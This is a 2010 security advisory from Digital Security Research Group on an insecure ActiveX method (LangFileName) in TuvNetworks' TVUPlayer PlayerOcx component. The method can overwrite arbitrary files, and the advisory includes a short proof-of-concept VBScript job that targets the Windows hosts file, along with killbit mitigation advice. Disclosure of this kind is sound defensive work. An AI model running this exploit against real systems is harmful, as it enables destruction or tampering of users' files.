[DSECRG-09-065] TuvNetworks TVUPlayer ActiveX component - Insecure method

TVUPlayer contains ActiveX component PlayerOcx which contains insecure method that can overwrite any unhidden file in the system.

Application: TVUPlayer
Versions Affected: Tested on v2.4.9beta1[build1797]
Vendor URL: www.tvunetworks.com
Bugs: insecure method, File owervriting
Exploits: YES
Reported: 25.11.2009
Second report 11.01.2010
Vendor response: none
Date of Public Advisory: 03.02.2010
CVE-number:
Author: Evdokimov Dmitriy
Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)

Details
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An attacker can construct html-page which calls the LangFileName vulnerable function from ActiveX component PlayerOcx


Example1:

<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:18E6ED0D-08D1-4ED5-8771-E72B4E6EFFD8' id='target' />
<script language='vbscript'>

'File Generated by COMRaider v0.0.133 - http://labs.idefense.com

'Wscript.echo typename(target)

'for debugging/custom prolog
targetFile = "C:\Program Files\Online TV Player 4\PlayerOcx.ocx"
prototype = "Property Let LangFileName As String"
memberName = "LangFileName"
progid = "PlayerOcx.FormPlayer"
argCount = 1

arg1="C:\WINDOWS\system32\drivers\etc\hosts"

target.LangFileName = arg1

</script></job></package>


Fix Information
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There is no official fix from the vendor because they did not give any response to our letters sent twice.
As alternative - a user can set killbit on this component.

References
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http://dsecrg.com/pages/vul/show.php?id=165

About
*****

Digital Security is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact: research [at] dsecrg [dot] com
http://www.dsecrg.com